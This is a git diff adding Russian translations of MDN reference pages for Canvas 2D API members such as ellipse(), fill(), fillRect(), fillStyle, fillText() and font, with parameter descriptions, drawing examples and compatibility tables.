+<p><code>ellipse()</code> - метод, который создает эллиптическую дугу с центром в точках <code>(x, y)</code> с радиусом <code>radiusX</code> и <code>radiusY</code>. Путь начинается от точки <code>startAngle</code> и заканчивается в точке <code>endAngle</code>, идет по направлению, казанному в параметре (по часовай срелке или против нее) <code>anticlockwise</code> .</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата центра эллипса по оси x (горизонтальная).</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата центра эллипса по оси y (вертикальная).</dd>
+ <dt><code>radiusX</code></dt>
+ <dd>Радиус оси x эллипса. Должен быть неотрицательным.</dd>
+ <dt><code>radiusY</code></dt>
+ <dd>Радиус оси y эллипса. Должен быть неотрицательным.</dd>
+ <dt><code>rotation</code></dt>
+ <dd>Вращение эллипса, выраженное в радианах.</dd>
+ <dt><code>startAngle</code></dt>
+ <dd>Угол, под которым начинается эллипс, измеряется по часовой стрелке от положительной оси x и выражается в радианах.</dd>
+ <dt><code>endAngle</code></dt>
+ <dd>Угол, под которым эллипс заканчивается, измеряется по часовой стрелке от положительной оси x и выражается в радианах.</dd>
+ <dt><code>anticlockwise</code> {{optional_inline}}</dt>
+ <dd>Опция {{jsxref("Boolean")}}, которая при <code>true</code>, рисует эллипс против часовой стрелки (counter-clockwise). Значение по умолчанию равно <code>false</code>  - рисование по часовой стрелке (clockwise).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Рисование_полного_эллипса">Рисование полного эллипса</h3>
+
+<p>Этот пример рисует эллипс под углом π / 4 Радианы (45°). Чтобы сделать полный эллипс, дуга начинается под углом 0 радианов (0°) и заканчивается под углом 2π радианов (360°).</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="200" height="200"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[6] notranslate">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Рисование эллипса
+ctx.beginPath();
+ctx.ellipse(100, 100, 50, 75, Math.PI / 4, 0, 2 * Math.PI);
+ctx.stroke();
+
+// Рисование линии отражения эллипса
+ctx.beginPath();
+ctx.setLineDash([5, 5]);
+ctx.moveTo(0, 200);
+ctx.lineTo(200, 0);
+ctx.stroke();
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Drawing_a_full_ellipse', 700, 250) }}</p>
+
+<h3 id="Различные_эллиптические_дуги">Различные эллиптические дуги</h3>
+
+<p>В этом примере создаются три эллиптических контура с различными свойствами.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js; highlight:[6,11,16] notranslate">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'red';
+ctx.beginPath();
+ctx.ellipse(60, 75, 50, 30, Math.PI * .25, 0, Math.PI * 1.5);
+ctx.fill();
+
+ctx.fillStyle = 'blue';
+ctx.beginPath();
+ctx.ellipse(150, 75, 50, 30, Math.PI * .25, 0, Math.PI);
+ctx.fill();
+
+ctx.fillStyle = 'green';
+ctx.beginPath();
+ctx.ellipse(240, 75, 50, 30, Math.PI * .25, 0, Math.PI, true);
+ctx.fill();
+</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{ EmbedLiveSample('Various_elliptical_arcs', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-ellipse", "CanvasRenderingContext2D.ellipse")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.ellipse")}}</p>
+
+<h2 id="Изучите_также">Изучите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий этот метод:{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>Используйте {{domxref("CanvasRenderingContext2D.arc()")}}, чтобы нарисовать дугу окружности</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/fill/index.html b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html
new file mode 100644
index 0000000000..25cc791848
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html
@@ -0,0 +1,127 @@
+---
+title: CanvasRenderingContext2D.fill()
+slug: Web/API/CanvasRenderingContext2D/fill
+tags:
+  - API
+  - Canvas
+  - Method
+  - Reference
+  - Справка
+  - метод
+translation_of: Web/API/CanvasRenderingContext2D/fill
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fill()</code></strong> метод Canvas 2D API заполняет текущий или заданный путём с текущим стилем заливки, используя одно из двух правил - ненулевого индекса или четно-нечетное.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.fill([fillRule]);</var>
+void <var><em>ctx</em>.fill(path[, fillRule]);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>fillRule</code></dt>
+ <dd>Выбор алгоритма заливки фигуры<br>
+ Возможные значения:
+ <ul>
+  <li><code><strong>"nonzero</strong></code>": <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D0%BD%D0%B5%D0%BD%D1%83%D0%BB%D0%B5%D0%B2%D0%BE%D0%B3%D0%BE_%D0%B8%D0%BD%D0%B4%D0%B5%D0%BA%D1%81%D0%B0">Правило ненулевого индекса</a>, значение по умолчанию</li>
+  <li><code><strong>"evenodd"</strong></code>: <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">Четно-нечетное правило</a></li>
+ </ul>
+ </dd>
+ <dt><code>path</code></dt>
+ <dd>{{domxref("Path2D")}} путь для заливки.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Использование_метода_fill">Использование метода <code>fill</code></h3>
+
+<p>Это всего лишь простой фрагмент кода, который использует метод <code>fill</code> для заполнения пути.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+</pre>
+
+<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rect(10, 10, 100, 100);
+ctx.fill();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fill", "CanvasRenderingContext2D.fill")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте запрос, чтобы мы изменили данные.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.fill")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс определяющий этот метод, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/fillrect/index.html b/files/ru/web/api/canvasrenderingcontext2d/fillrect/index.html
new file mode 100644
index 0000000000..54a27df26c
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/fillrect/index.html
@@ -0,0 +1,175 @@
+---
+title: CanvasRenderingContext2D.fillRect()
+slug: Web/API/CanvasRenderingContext2D/fillRect
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/fillRect
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillRect()</code></strong>, предоставляемый Canvas 2D API, рисует залитый прямоугольник в позиции <em>(x, y),</em> размер которого определяется аргументами <em>width</em> и <em>height</em>, и стиль которого определяется атрибутом {{domxref("CanvasRenderingContext2D.fillStyle", "<code>fillStyle</code>")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.fillRect(x, y, width, height);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси y.</dd>
+ <dt><code>width</code></dt>
+ <dd>Ширина прямоугольника.</dd>
+ <dt><code>height</code></dt>
+ <dd>Высота прямоугольника.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_fillRect">Использование метода <code>fillRect</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий метод <code>fillRect</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+
+// залить canvas целиком
+// ctx.fillRect(0, 0, canvas.width, canvas.height);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillrect", "CanvasRenderingContext2D.fillRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillStyle")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.clearRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html
new file mode 100644
index 0000000000..791c8fed7c
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html
@@ -0,0 +1,127 @@
+---
+title: CanvasRenderingContext2D.fillStyle
+slug: Web/API/CanvasRenderingContext2D/fillStyle
+tags:
+  - API
+  - Canvas
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/fillStyle
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillStyle</code></strong>, предосталяемое <a href="/ru/docs/Web/API/Canvas_API">Canvas 2D API</a>, задает цвет или стиль, используемый при заливке фигур. По умолчанию установлено значение <code>#000</code> (черный цвет).</p>
+
+<div class="blockIndicator note">
+<p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.fillStyle = color;
+</var><var><em>ctx</em>.fillStyle = gradient;
+</var><var><em>ctx</em>.fillStyle = pattern;</var>
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>color</code></dt>
+ <dd>{{domxref("DOMString")}} строка, содержащая цвет в формате, поддерживающимся стандартом CSS ({{cssxref("&lt;color&gt;")}}).</dd>
+ <dt><code>gradient</code></dt>
+ <dd>Объект класса {{domxref("CanvasGradient")}} (линейный или круговой градиент ).</dd>
+ <dt><code>pattern</code></dt>
+ <dd>Объект класса {{domxref("CanvasPattern")}} (повторяющееся изображение).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_fillStyle_property" name="Using_the_fillStyle_property">Изменение цвета заливки фигуры</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий <code>fillStyle</code> с цветом.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'blue';
+ctx.fillRect(10, 10, 100, 100);</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Изменение_цвета_заливки_фигуры', 700, 160) }}</p>
+
+<h3 id="Использование_fillStyle_в_циклах_for">Использование fillStyle в циклах for</h3>
+
+<p>В этом примере мы используем два цикла для рисования сетки из прямоугольников, каждый из которых будет закрашен разным цветом. Получившееся изображение должно выглядеть как на скриншоте . Здесь нет ничего сложного. Мы используем две переменные <code>i</code> и <code>j</code>, чтобы создать уникальный цвет для каждого квадрата, смешивая красный и зеленый цвета. Значение синего цвета изменяться не будет. Изменяя значения цветов, вы можете создать все цвета. Увеличив количество шагов, вы сможете создать цветовую палитру, наподобие той, которая используется в Photoshop.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+for (let i = 0; i &lt; 6; i++) {
+  for (let j = 0; j &lt; 6; j++) {
+    ctx.fillStyle = `rgb(
+        ${Math.floor(255 - 42.5 * i)},
+        ${Math.floor(255 - 42.5 * j)},
+        0)`;
+    ctx.fillRect(j * 25, i * 25, 25, 25);
+  }
+}</pre>
+
+<h4 id="Результат_2">Результат:</h4>
+
+<p>{{EmbedLiveSample("Использование_fillStyle_в_циклах_for", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillstyle", "CanvasRenderingContext2D.fillStyle")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.fillStyle")}}</p>
+
+<p>В браузерах на основе WebKit и Blink реализован устаревший и нестандартный метод <code>ctx.setFillColor()</code> в дополнение к этому.</p>
+
+<h3 id="Особенности_WebKitBlink">Особенности WebKit/Blink</h3>
+
+<p>В браузерах на базе Webkit и Blink помимо этого свойства, также поддержвается нестадартный метод <code>ctx.setFillColor()</code>.</p>
+
+<pre class="brush: js">setFillColor(color, optional alpha);
+setFillColor(grayLevel, optional alpha);
+setFillColor(r, g, b, a);
+setFillColor(c, m, y, k, a);
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">Canvas API</a></li>
+ <li>Интерфейс предоставляющий данное свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html
new file mode 100644
index 0000000000..8a56e89043
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html
@@ -0,0 +1,172 @@
+---
+title: CanvasRenderingContext2D.fillText()
+slug: Web/API/CanvasRenderingContext2D/fillText
+translation_of: Web/API/CanvasRenderingContext2D/fillText
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillText(),</code></strong> предоставляемый Canvas 2D API, рисует (заливает) заданный текст в заданной позиции (<em>x, y</em>). Если указан необязательный четвертый параметр, текст будет масштабироваться в соответветствие с указанной максимальной шириной.</p>
+
+<p>См. также метод {{domxref("CanvasRenderingContext2D.strokeText()")}} для выполнения обводки текста.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">void <var><em>ctx</em>.fillText(text, x, y [, maxWidth]);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>Текст, использующий для визуализации следующие свойства: {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}} и {{domxref("CanvasRenderingContext2D.direction","direction")}}.</dd>
+</dl>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Коодрдината левой нижней точки текста по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Коодрдината левой нижней точки текста по оси y.</dd>
+ <dt><code>maxWidth</code> {{optional_inline}}</dt>
+ <dd>Максимальная ширина текста.  Если ширина надписи больше параметра, текст масштабируется по горизонатли, или, если это невозможно (надпись становится нечитамой), уменьшается размер шрифта.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_fillText">Использование метода fillText</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий fillText.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5] notranslate">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.font = "48px serif";
+ctx.fillText("Hello world", 50, 100);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = "48px serif";
+ctx.fillText("Hello world", 50, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">
+    <p>Спецификация</p>
+   </th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-filltext", "CanvasRenderingContext2D.fillText")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.9.1") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeText()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/font/index.html b/files/ru/web/api/canvasrenderingcontext2d/font/index.html
new file mode 100644
index 0000000000..0f61487769
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/font/index.html
@@ -0,0 +1,94 @@
+---
+title: CanvasRenderingContext2D.font
+slug: Web/API/CanvasRenderingContext2D/font
+tags:
+  - API
+  - Canvas
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/font
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.font</code></strong> – свойство<strong> </strong>Canvas 2D API, определяющее  текущие стили рисуемого текста. Это строка, которая использует синтаксис <a href="/en-US/docs/Web/CSS/font" title="en/CSS/font">CSS font</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.font = <em>value</em>;
+</pre>
+
+<h3 id="Опции">Опции</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Строка {{domxref("DOMString")}} с разобранным CSS {{cssxref("font")}} значением. Значение по-умолчанию – "10px sans-serif".</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_пользовательского_шрифта">Использование пользовательского шрифта</h3>
+
+<p>Этот пример задает в своействе <code>font</code> другие <code>font-size</code> и <code>font-family</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.font = 'bold 48px serif';
+ctx.strokeText('Hello world', 50, 100);
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Использование_пользовательского_шрифта', 700, 180) }}</p>
+
+<h3 id="Загрузка_шрифта_с_помощью_CSS_Font_Loading_API">Загрузка шрифта с помощью CSS Font Loading API</h3>
+
+<p>С помощью {{domxref("FontFace")}} API, вы можете явно загрузить шрифт перед использованием его в <code>canvas</code>.</p>
+
+<pre class="brush: js">let f = new FontFace('test', 'url(x)');
+
+f.load().then(function() {
+  // Ready to use the font in a canvas context
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-font", "CanvasRenderingContext2D.font")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.font")}}</p>
+
+<h3 id="Особенности_Gecko">Особенности Gecko</h3>
+
+<ul>
+ <li>Браузеры на основе Gecko, например Firefox, имеют не стандандартное и устаревшее свойство <code>ctx.mozTextStyle</code>. Используйте <code>ctx.font</code> вместо него.</li>
